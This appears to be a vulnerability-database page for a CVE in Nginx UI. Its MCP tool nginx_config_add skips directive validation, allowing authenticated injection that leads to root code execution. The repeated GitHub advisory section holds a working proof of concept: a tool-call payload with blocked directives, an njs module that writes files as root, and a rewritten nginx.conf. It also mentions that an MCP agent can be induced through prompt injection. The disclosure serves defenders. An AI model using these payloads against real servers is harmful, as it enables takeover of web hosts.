Every CVE Search/ Get API key

CVE-2026-84317

Nginx UI: MCP nginx_config_add skips config directive validation → authenticated nginx directive injection (RCE on the official image)

8.8 HighFix available

Nginx UI is a web user interface for the Nginx web server. Prior to 2.4.1, internal/config/validation.go (ValidateConfigFile) is a security control that blocks dangerous nginx directives — js_, perl_, load_module of the njs/perl modules, and user root. It is enforced on three of the four config-write paths: api/config/add.go, api/config/modify.go, and mcp/config/config_modify.go. The fourth path — the MCP tool nginx_config_add (mcp/config/config_add.go) — does NOT call it: it writes the caller-supplied content straight to disk and reloads nginx. An authenticated MCP caller (or an MCP agent induced via prompt injection) can therefore inject exactly the directives the control is meant to block, leading to nginx code execution on deployments where the njs/perl module is available (e.g. the official Docker image). This issue is fixed in version 2.4.1.

Attack profile

How easy it is to exploit

Attack vector
Network
Complexity
Low
Privileges needed
Low
User interaction
None

What an attacker can affect

Confidentiality
High
Integrity
High
Availability
High

Exploit likelihood

0.48%Up 0.1 points since Oct 13, 2026
90%50%10%1%

What each source reports

CVE List Score used 8.8

Nginx UI: MCP nginx_config_add skips config directive validation → authenticated nginx directive injection (RCE on the official image)

Nginx UI is a web user interface for the Nginx web server. Prior to 2.4.1, internal/config/validation.go (ValidateConfigFile) is a security control that blocks dangerous nginx directives — js_, perl_, load_module of the njs/perl modules, and user root. It is enforced on three of the four config-write paths: api/config/add.go, api/config/modify.go, and mcp/config/config_modify.go. The fourth path — the MCP tool nginx_config_add (mcp/config/config_add.go) — does NOT call it: it writes the caller-supplied content straight to disk and reloads nginx. An authenticated MCP caller (or an MCP agent induced via prompt injection) can therefore inject exactly the directives the control is meant to block, leading to nginx code execution on deployments where the njs/perl module is available (e.g. the official Docker image). This issue is fixed in version 2.4.1.

Record
CVE-2026-84317
CVSS 3.1
8.8 HighCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Weakness
CWE-20, CWE-693
Updated
2026-11-02
EUVDEUVD-2026-97895 8.8

Nginx UI is a web user interface for the Nginx web server. Prior to 2.4.1, internal/config/validation.go (ValidateConfigFile) is a security control that blocks dangerous nginx directives — js_, perl_, load_module of the njs/perl modules, and user root. It is enforced on three of the four config-write paths: api/config/add.go, api/config/modify.go, and mcp/config/config_modify.go. The fourth path — the MCP tool nginx_config_add (mcp/config/config_add.go) — does NOT call it: it writes the caller-supplied content straight to disk and reloads nginx. An authenticated MCP caller (or an MCP agent induced via prompt injection) can therefore inject exactly the directives the control is meant to block, leading to nginx code execution on deployments where the njs/perl module is available (e.g. the official Docker image). This issue is fixed in version 2.4.1.

Record
EUVD-2026-97895
CVSS 3.1
8.8 HighCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Updated
2026-11-02
GitHub AdvisoriesGHSA-76pm-mq2q-9gcr 8.8

Nginx UI: MCP nginx_config_add skips config directive validation → authenticated nginx directive injection (RCE on the official image)

Summary

internal/config/validation.go (ValidateConfigFile) is a security control that blocks dangerous nginx directives — js_*, perl_*, load_module of the njs/perl modules, and user root. It is enforced on three of the four config-write paths: api/config/add.go, api/config/modify.go, and mcp/config/config_modify.go. The fourth path — the MCP tool nginx_config_add (mcp/config/config_add.go) — does NOT call it: it writes the caller-supplied content straight to disk and reloads nginx. An authenticated MCP caller (or an MCP agent induced via prompt injection) can therefore inject exactly the directives the control is meant to block, leading to nginx code execution on deployments where the njs/perl module is available (e.g. the official Docker image).

Root cause — an incomplete hardening patch

Commit 3e411d38 ("Harden config write paths", 2026-04-21) introduced ValidateConfigFile and wired it into the config-write paths — but its changeset touched only: api/config/add.go (+6), api/config/modify.go (+8), internal/config/validation.go (+199), mcp/config/config_modify.go (+5) It did NOT touch mcp/config/config_add.go. So the MCP add path was left without the validation that all of its sibling paths received. config_add.go has never called ValidateConfigFile (verified via git history); this is an oversight in the hardening, not a regression.

Affected code (mcp/config/config_add.go, handleNginxConfigAdd)

content := mcp.GetString(args, "content")        // caller-controlled
...
path, err := config.ResolveConfPath(baseDir, name)   // path is sandboxed to the conf dir (OK)
...
err = os.WriteFile(path, []byte(content), 0644)  // <-- no config.ValidateConfigFile(path, content)
...
res := nginx.Control(nginx.Reload)               // reloads nginx

Contrast — the guarded sibling (mcp/config/config_modify.go) does:

err = config.ValidateConfigFile(absPath, content)   // rejects js_*/perl_*/load_module/user root
if err != nil { return nil, err }

Proof of Concept (live, Docker, official image)

Image uozi/nginx-ui:2.3.11, nginx 1.31.0. Authenticated with a valid node secret (X-Node-Secret). MCP over SSE; client script poc_mcp_client.py attached.

  1. Validation bypass (decisive):

    • tools/call nginx_config_add {name:"poc_blocked.conf", base_dir:"sites-available", content:"js_import poc.js;\nperl_set $x 'sub{return 1}';\nuser root;\nload_module .../ngx_http_js_module.so;"} → SUCCESS; file written verbatim (confirmed on disk).
    • Same content via nginx_config_modify → REJECTED: {"code":-32603,"message":"file content contains restricted nginx directive: js_import"}.
  2. Effect (using only the vulnerable config_add tool):

    • Wrote /etc/nginx/poc.js (njs module) and overwrote /etc/nginx/nginx.conf with load_module .../ngx_http_js_module.so; user root; ... js_import poc ...; server{ listen 8899; location=/pwn { js_content poc.pwn; } }. Tool returned SUCCESS (reload succeeded; nginx -t ok).
    • /proc/<worker>/status → Uid: 0 0 0 0 (workers run as root — user root took effect).
    • GET http://127.0.0.1:8899/pwn → pwned (njs js_content executed).
    • /tmp/NJS_RCE_PROOF.txt created, owned by root → JavaScript code execution in the nginx worker performing arbitrary file write as root.

Reproduction payloads (self-contained)

njs module written to /etc/nginx/poc.js via nginx_config_add (name="poc.js", base_dir=""):

import fs from 'fs';
function pwn(r){
  try{ fs.writeFileSync('/tmp/NJS_RCE_PROOF.txt','njs-code-exec-ok\n'); }catch(e){ r.return(200,'ERR:'+e); return; }
  r.return(200,'pwned\n');
}
export default { pwn };

Main config overwritten via nginx_config_add (name="nginx.conf", base_dir="", overwrite=true):

load_module /usr/lib/nginx/modules/ngx_http_js_module.so;
user root;
worker_processes 1;
error_log /var/log/nginx/error.log notice;
pid /run/nginx.pid;…
Record
GHSA-76pm-mq2q-9gcr
CVSS 3.1
8.8 HighCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Weakness
CWE-20, CWE-693
Updated
2026-11-02
NVD 8.8

Nginx UI is a web user interface for the Nginx web server. Prior to 2.4.1, internal/config/validation.go (ValidateConfigFile) is a security control that blocks dangerous nginx directives — js_, perl_, load_module of the njs/perl modules, and user root. It is enforced on three of the four config-write paths: api/config/add.go, api/config/modify.go, and mcp/config/config_modify.go. The fourth path — the MCP tool nginx_config_add (mcp/config/config_add.go) — does NOT call it: it writes the caller-supplied content straight to disk and reloads nginx. An authenticated MCP caller (or an MCP agent induced via prompt injection) can therefore inject exactly the directives the control is meant to block, leading to nginx code execution on deployments where the njs/perl module is available (e.g. the official Docker image). This issue is fixed in version 2.4.1.

Record
CVE-2026-84317
CVSS 3.1
8.8 HighCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Weakness
CWE-20, CWE-693
Updated
2026-11-02
OSV 8.8

Nginx UI: MCP nginx_config_add skips config directive validation → authenticated nginx directive injection (RCE on the official image)

Nginx UI is a web user interface for the Nginx web server. Prior to 2.4.1, internal/config/validation.go (ValidateConfigFile) is a security control that blocks dangerous nginx directives — js_, perl_, load_module of the njs/perl modules, and user root. It is enforced on three of the four config-write paths: api/config/add.go, api/config/modify.go, and mcp/config/config_modify.go. The fourth path — the MCP tool nginx_config_add (mcp/config/config_add.go) — does NOT call it: it writes the caller-supplied content straight to disk and reloads nginx. An authenticated MCP caller (or an MCP agent induced via prompt injection) can therefore inject exactly the directives the control is meant to block, leading to nginx code execution on deployments where the njs/perl module is available (e.g. the official Docker image). This issue is fixed in version 2.4.1.

Record
CVE-2026-84317
CVSS 3.1
8.8 HighCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Weakness
CWE-20, CWE-693
Updated
2026-11-02
OSVGHSA-76pm-mq2q-9gcr 8.8

Nginx UI: MCP nginx_config_add skips config directive validation → authenticated nginx directive injection (RCE on the official image)

Summary

internal/config/validation.go (ValidateConfigFile) is a security control that blocks dangerous nginx directives — js_*, perl_*, load_module of the njs/perl modules, and user root. It is enforced on three of the four config-write paths: api/config/add.go, api/config/modify.go, and mcp/config/config_modify.go. The fourth path — the MCP tool nginx_config_add (mcp/config/config_add.go) — does NOT call it: it writes the caller-supplied content straight to disk and reloads nginx. An authenticated MCP caller (or an MCP agent induced via prompt injection) can therefore inject exactly the directives the control is meant to block, leading to nginx code execution on deployments where the njs/perl module is available (e.g. the official Docker image).

Root cause — an incomplete hardening patch

Commit 3e411d38 ("Harden config write paths", 2026-04-21) introduced ValidateConfigFile and wired it into the config-write paths — but its changeset touched only: api/config/add.go (+6), api/config/modify.go (+8), internal/config/validation.go (+199), mcp/config/config_modify.go (+5) It did NOT touch mcp/config/config_add.go. So the MCP add path was left without the validation that all of its sibling paths received. config_add.go has never called ValidateConfigFile (verified via git history); this is an oversight in the hardening, not a regression.

Affected code (mcp/config/config_add.go, handleNginxConfigAdd)

content := mcp.GetString(args, "content")        // caller-controlled
...
path, err := config.ResolveConfPath(baseDir, name)   // path is sandboxed to the conf dir (OK)
...
err = os.WriteFile(path, []byte(content), 0644)  // <-- no config.ValidateConfigFile(path, content)
...
res := nginx.Control(nginx.Reload)               // reloads nginx

Contrast — the guarded sibling (mcp/config/config_modify.go) does:

err = config.ValidateConfigFile(absPath, content)   // rejects js_*/perl_*/load_module/user root
if err != nil { return nil, err }

Proof of Concept (live, Docker, official image)

Image uozi/nginx-ui:2.3.11, nginx 1.31.0. Authenticated with a valid node secret (X-Node-Secret). MCP over SSE; client script poc_mcp_client.py attached.

  1. Validation bypass (decisive):

    • tools/call nginx_config_add {name:"poc_blocked.conf", base_dir:"sites-available", content:"js_import poc.js;\nperl_set $x 'sub{return 1}';\nuser root;\nload_module .../ngx_http_js_module.so;"} → SUCCESS; file written verbatim (confirmed on disk).
    • Same content via nginx_config_modify → REJECTED: {"code":-32603,"message":"file content contains restricted nginx directive: js_import"}.
  2. Effect (using only the vulnerable config_add tool):

    • Wrote /etc/nginx/poc.js (njs module) and overwrote /etc/nginx/nginx.conf with load_module .../ngx_http_js_module.so; user root; ... js_import poc ...; server{ listen 8899; location=/pwn { js_content poc.pwn; } }. Tool returned SUCCESS (reload succeeded; nginx -t ok).
    • /proc/<worker>/status → Uid: 0 0 0 0 (workers run as root — user root took effect).
    • GET http://127.0.0.1:8899/pwn → pwned (njs js_content executed).
    • /tmp/NJS_RCE_PROOF.txt created, owned by root → JavaScript code execution in the nginx worker performing arbitrary file write as root.

Reproduction payloads (self-contained)

njs module written to /etc/nginx/poc.js via nginx_config_add (name="poc.js", base_dir=""):

import fs from 'fs';
function pwn(r){
  try{ fs.writeFileSync('/tmp/NJS_RCE_PROOF.txt','njs-code-exec-ok\n'); }catch(e){ r.return(200,'ERR:'+e); return; }
  r.return(200,'pwned\n');
}
export default { pwn };

Main config overwritten via nginx_config_add (name="nginx.conf", base_dir="", overwrite=true):

load_module /usr/lib/nginx/modules/ngx_http_js_module.so;
user root;
worker_processes 1;
error_log /var/log/nginx/error.log notice;
pid /run/nginx.pid;…
Record
GHSA-76pm-mq2q-9gcr
CVSS 3.1
8.8 HighCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Weakness
CWE-20, CWE-693
Updated
2026-11-02
OSVGO-2026-6779 No score

Nginx UI: MCP nginx_config_add skips config directive validation → authenticated nginx directive injection (RCE on the official image) in github.com/0xJacky/Nginx-UI

Nginx UI: MCP nginx_config_add skips config directive validation → authenticated nginx directive injection (RCE on the official image) in github.com/0xJacky/Nginx-UI

Record
GO-2026-6779
Updated
2026-11-02

Affected products

Affected packages

Affected packages
PackageAffectedFixed
github.com/0xJacky/Nginx-UI
Go
before 1.9.10-0.20260703131214-23d1934099b0
1.9.10-0.20260703131214-23d1934099b0

History

History
RecordedChangedSources
first indexedCVE List, EUVD, GitHub Advisories, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2026-84317 is a high vulnerability (CVSS 8.8) in 0xjacky Nginx-ui, published October 12, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.48%, the 41st percentile. Fixed in github.com/0xJacky/Nginx-UI 1.9.10-0.20260703131214-23d1934099b0.

References

This page doesn't list everything

Left out here: the rest of 2 source descriptions. The JSON record has them.

MoveEnter Open